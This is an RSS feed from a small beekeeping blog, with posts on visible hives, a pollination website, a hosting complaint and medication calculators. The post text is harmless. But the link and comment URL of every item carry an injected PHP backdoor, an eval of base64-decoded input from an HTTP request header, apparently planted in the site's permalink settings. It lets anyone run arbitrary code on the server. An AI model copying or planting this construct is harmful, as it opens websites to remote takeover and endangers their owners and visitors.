<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>beeblog &#187; technology</title>
	<atom:link href="http://ct-honey.com/beeblog/category/technology/feed/" rel="self" type="application/rss+xml" />
	<link>http://ct-honey.com/beeblog</link>
	<description>The Beekeepers' Forum</description>
	<pubDate>Mon, 09 Mar 2009 13:40:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Stonewall Apiary Now Visible From Space</title>
		<link>http://ct-honey.com/beeblog/2008/03/05/stonewall-apiary-now-visible-from-space/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2008/03/05/stonewall-apiary-now-visible-from-space/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 13:39:23 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[fun stuff]]></category>

		<category><![CDATA[miscellaneous]]></category>

		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=130</guid>
		<description><![CDATA[OK, so we&#8217;re not the Great Wall of China or the Pyramids at Giza&#8230;but we&#8217;re working on it.  The image below is from the satellite view of our address in Google Maps.  About twenty-five of our hives, shown by the red arrow, are visible. The photo must have been taken while the sun was directly overhead, causing [...]]]></description>
			<content:encoded><![CDATA[<p>OK, so we&#8217;re not the Great Wall of China or the Pyramids at Giza&#8230;but we&#8217;re working on it.  The image below is from the satellite view of our address in Google Maps.  About twenty-five of our hives, shown by the red arrow, are visible. The photo must have been taken while the sun was directly overhead, causing a glare off of the metal hive covers.</p>
<p>One of our horses, Shasta, can also be seen.  He&#8217;s standing in the middle of the field near the bottom of the picture.</p>
<p>We may not be the biggest apiary, but we do claim overwhelming dominance in the space race.  Strangely, <a title="Space.com article - " href="http://www.space.com/scienceastronomy/visible_from_space_031006.html" target="_blank">this article</a> does not mention Stonewall Apiary in its list of objects visible from space.  A glaring oversight!</p>
<p>Want to see for yourself?  Check it out on our <a title="Our Location page." href="http://ct-honey.com/location.php/" target="_blank">Location page</a>.  Just click on the satellite view (&#8221;sat&#8221;) and zoom in.</p>
<p> </p>
<p><div id="attachment_158" class="wp-caption alignnone" style="width: 531px"><img class="size-full wp-image-158" title="Stonewall Apiary from space" src="http://ct-honey.com/beeblog/wp-content/uploads/2008/03/apiary-satellite.jpg" alt="Stonewall Apiary from space" width="521" height="315" /><p class="wp-caption-text">Stonewall Apiary from space</p></div></p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2008/03/05/stonewall-apiary-now-visible-from-space/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Introducing Pollinationsource.com</title>
		<link>http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 00:54:04 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[beekeeping]]></category>

		<category><![CDATA[beekeeping news]]></category>

		<category><![CDATA[fun stuff]]></category>

		<category><![CDATA[miscellaneous]]></category>

		<category><![CDATA[pollination]]></category>

		<category><![CDATA[technology]]></category>

		<category><![CDATA[uncategorized]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=119</guid>
		<description><![CDATA[Stonewall Apiary is pleased to announce its newest project, Pollinationsource.com.  The focus of this website will be to connect beekeepers with people seeking pollination services.  Beekeepers of all sizes - hobbyists, sideliners and even commercial beekeepers - can register with the site, listing the types of crops they are willing to pollinate, the number of [...]]]></description>
			<content:encoded><![CDATA[<p>Stonewall Apiary is pleased to announce its newest project, <a title="Click here for Pollinationsource.com" href="http://pollinationsource.com" target="_blank">Pollinationsource.com</a>.  The focus of this website will be to connect beekeepers with people seeking pollination services.  Beekeepers of all sizes - hobbyists, sideliners and even commercial beekeepers - can register with the site, listing the types of crops they are willing to pollinate, the number of hives available for pollination, the distance they are willing to travel, as well as their pollination fee.  This information will then be available to people seeking pollination - from gardeners to part-time farmers to large-scale operations.</p>
<p>Check out the site if you have a chance and watch this space for more information.  If you have any feedback about this project, be sure to letus know.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Minor Rant</title>
		<link>http://ct-honey.com/beeblog/2007/01/22/a-minor-rant/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2007/01/22/a-minor-rant/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 22 Jan 2007 13:59:51 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[miscellaneous]]></category>

		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=52</guid>
		<description><![CDATA[I know this isn&#8217;t a beekeeping topic, but&#8230;
Those of you who run websites know that there are some costs involved, hence the need for some advertising.  One of my ads was for a web host and it was run through ClickBank.  Eight people I know asked me for hosting recommendations in the last year.  I [...]]]></description>
			<content:encoded><![CDATA[<p>I know this isn&#8217;t a beekeeping topic, but&#8230;</p>
<p>Those of you who run websites know that there are some costs involved, hence the need for some advertising.  One of my ads was for a web host and it was run through ClickBank.  Eight people I know asked me for hosting recommendations in the last year.  I sugested the ad on my site and even helped several of them to set up their hosting accounts, first clicking through on my site, naturally.  Each of those clicks should have brought in about $35 to my account.  But what did ClickBank register?  Nothing.  I emailed them to ask why I wasn&#8217;t getting credit for the purchases - there has been no response from them in spite of repeated efforts to contact them.</p>
<p>The lesson, for me at least: Stay away from ClickBank.  Zero reliability, zero customer service, in my opinion.  Who wants to work with a company that won&#8217;t even respond to you?</p>
<p>You may have had a better experience with ClickBank.  I hope so, because mine was terrible.</p>
<p>The upside?  Now I&#8217;m using ICDSoft for <a title="Your source for local honey, beeswax and beekeeping services." href="http://ct-honey.com" target="_blank">ct-honey.com</a> and the <a title="The beekeeper's forum." href="http://ct-honey.com/beeblog">beeblog</a> - superb reliability and incredible customer service. </p>
<p>Two examples:</p>
<p>1. One of my pages just wasn&#8217;t working.  I couldn&#8217;t figure out what the problem was, but I suspected that there was a problem with file permissions.  I contacted ICDSoft for assistance.  They checked the permissions, which were fine.  They then proceeded to DEBUG my code, which was also fine.  Finally, they realized that I had changed my database structure and forgotten to change my code!  All of these things, of course, are far above and beyond their customer service requirements.  This was a problem with what I had done, yet they took the time to help me as much as they could, which turned out to be quite a bit.  That is amazing customer service, in my opinion.</p>
<p>2. Someone clicked on my ICDSoft ad.  They have a thirty-day trial period, during which a new customers can delete their accounts and get a full refund.  The trial period ended on the 19th of this month.  I received my commission on the 20th.  Obviously, I can trust ICDSoft, unlike ClickBank.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2007/01/22/a-minor-rant/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How The Medication Calculator Works</title>
		<link>http://ct-honey.com/beeblog/2006/03/16/how-the-medication-calculator-works/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2006/03/16/how-the-medication-calculator-works/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 16 Mar 2006 16:41:44 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[bee medication]]></category>

		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=31</guid>
		<description><![CDATA[When setting up the Medication Calculator, there were several options about how the calculations could be made.  For now, I have chosen calculations that result in the least amount of wasted medication, not the cheapest price.  For example, if you have twenty hives that you plan to medicate with Apistan, the Medication Calculator will recommend [...]]]></description>
			<content:encoded><![CDATA[<p>When setting up the Medication Calculator, there were several options about how the calculations could be made.  For now, I have chosen calculations that result in the least amount of wasted medication, not the cheapest price.  For example, if you have twenty hives that you plan to medicate with Apistan, the Medication Calculator will recommend purchasing eight 10-strip packages.  With eight packages, you will have no strips left over.</p>
<p>In terms of cost, it is usually less expensive to purchase one 100-strip pack of Apistan rather than eight 10-strip packages.  But this option leaves you with twenty unused strips.  These strips either go to waste or sit around until it is time to medicate again.  Because I am concerned with the effectiveness of medication after it has been opened and sitting around for months, my preference is to never purchase more than I need, even if it costs a few dollars more.</p>
<p>Because other people may feel differently, a later phase of the Medication Calculator will allow users to select between two options: best price and least waste.  But that is some time off, since there is still much work to be done to finish up the installation of the calculators.</p>
<p>If you have any comments about how this service may be improved, please let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2006/03/16/how-the-medication-calculator-works/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tracheal Mite Medication Calculator Installed</title>
		<link>http://ct-honey.com/beeblog/2006/03/16/tracheal-mite-medication-calculator-installed-2/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2006/03/16/tracheal-mite-medication-calculator-installed-2/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 16 Mar 2006 15:51:38 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[bee medication]]></category>

		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=30</guid>
		<description><![CDATA[The Tracheal Mite Calculator is now installed.  It has been tested and, to our knowledge, is working correctly.  If you discover any problems, please let us know!
Now is the time to start thinking about your spring medication.  Before you place your order, try out the ct-honey.com Medication Calculator.
]]></description>
			<content:encoded><![CDATA[<p>The Tracheal Mite Calculator is now installed.  It has been tested and, to our knowledge, is working correctly.  If you discover any problems, please let us know!</p>
<p>Now is the time to start thinking about your spring medication.  Before you place your order, try out the ct-honey.com <a title="The ct-honey.com Medication Calculator." href="http://ct-honey.com/medication.php" target="_blank">Medication Calculator</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2006/03/16/tracheal-mite-medication-calculator-installed-2/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Keeping Warm</title>
		<link>http://ct-honey.com/beeblog/2006/03/05/keeping-warm/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2006/03/05/keeping-warm/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 05 Mar 2006 20:42:47 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[fun stuff]]></category>

		<category><![CDATA[technology]]></category>

		<category><![CDATA[uncategorized]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=27</guid>
		<description><![CDATA[
After a few weeks of relatively warm weather, we had a winter storm in early March.  Worried about the bees since they had previously been quite active, I threaded the external sensors from three indoor/outdoor thermometers through the inner cover holes of three hives until they came to rest on top of the clusters.
 I closed the [...]]]></description>
			<content:encoded><![CDATA[<p><img id="image26" title="Winter in the Bee Yard" alt="Winter in the Bee Yard" src="http://ct-honey.com/beeblog/wp-content/uploads/2006/03/wideshot.jpg" /></p>
<p>After a few weeks of relatively warm weather, we had a winter storm in early March.  Worried about the bees since they had previously been quite active, I threaded the external sensors from three indoor/outdoor thermometers through the inner cover holes of three hives until they came to rest on top of the clusters.</p>
<p> I closed the outer covers and left the hives alone for about three hours.  To my surprise, although the outside temperature was 17 degrees Fahrenheit, it was a surprisingly warm 52 degrees in one hive and 49 degrees in the other two.  None of the hives are wrapped, but they all have a piece of 1/2-inch foam insulation between the outer cover and the inner cover.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2006/03/05/keeping-warm/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Medication Calculator Update</title>
		<link>http://ct-honey.com/beeblog/2006/03/03/medication-calculator-update/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2006/03/03/medication-calculator-update/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 03 Mar 2006 17:57:32 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[bee medication]]></category>

		<category><![CDATA[technology]]></category>

		<category><![CDATA[uncategorized]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=25</guid>
		<description><![CDATA[The Nosema Calculator is now functional.  I&#8217;m not aware of any problems with it.  If you discover one, please let me know.
Check out the ct-honey.com Medication Calculator at http://ct-honey.com/medication.php.
]]></description>
			<content:encoded><![CDATA[<p>The Nosema Calculator is now functional.  I&#8217;m not aware of any problems with it.  If you discover one, please let me know.</p>
<p>Check out the <a title="ct-honey.com, your source for local honey, beeswax and beekeeping services" href="http://ct.honey.com" target="_blank">ct-honey.com</a> Medication Calculator at <a title="The ct-honey.com Medication Calculator" href="http://ct-honey.com/medication.php" target="_blank">http://ct-honey.com/medication.php</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2006/03/03/medication-calculator-update/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Medication Calculator</title>
		<link>http://ct-honey.com/beeblog/2006/03/02/medication-calculator/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://ct-honey.com/beeblog/2006/03/02/medication-calculator/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 02 Mar 2006 20:51:33 +0000</pubDate>
		<dc:creator>stuart</dc:creator>
		
		<category><![CDATA[bee medication]]></category>

		<category><![CDATA[technology]]></category>

		<category><![CDATA[uncategorized]]></category>

		<guid isPermaLink="false">http://ct-honey.com/beeblog/?p=21</guid>
		<description><![CDATA[The ct-honey.com Medication Calculator is under development.  This is a free service that I have taken on in response to the many beginning beekeepers who have asked me to help them order their medications because the directions for several of the medications are so confusing.  As of this writing, the Apistan and CheckMite+ calculators are [...]]]></description>
			<content:encoded><![CDATA[<p>The ct-honey.com <a title="The ct-honey.com Medication Calculator" href="http://ct-honey.com/medication.php" target="_blank">Medication Calculator</a> is under development.  This is a free service that I have taken on in response to the many beginning beekeepers who have asked me to help them order their medications because the directions for several of the medications are so confusing.  As of this writing, the Apistan and CheckMite+ calculators are fully functional and the Fumidil-B calculator is undergoing testing.  It can accomodate any amount of hives between 1 and 9999. </p>
<p>Next to be added is one of the foulbrood medications - probably Terramycin.  If you would like to see a medication added to the calculator, let me know and I&#8217;ll do my best to add it as soon as possible.</p>
<p>If you have ideas about how the calculator can be improved, please leave a comment.  I would love to hear your ideas.</p>
<p>One feature I&#8217;m considering adding is the ability to email the results to yourself.  I&#8217;m not going to add it unless there is some interest, so be sure to tell me if you would like it.</p>
]]></content:encoded>
			<wfw:commentRss>http://ct-honey.com/beeblog/2006/03/02/medication-calculator/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
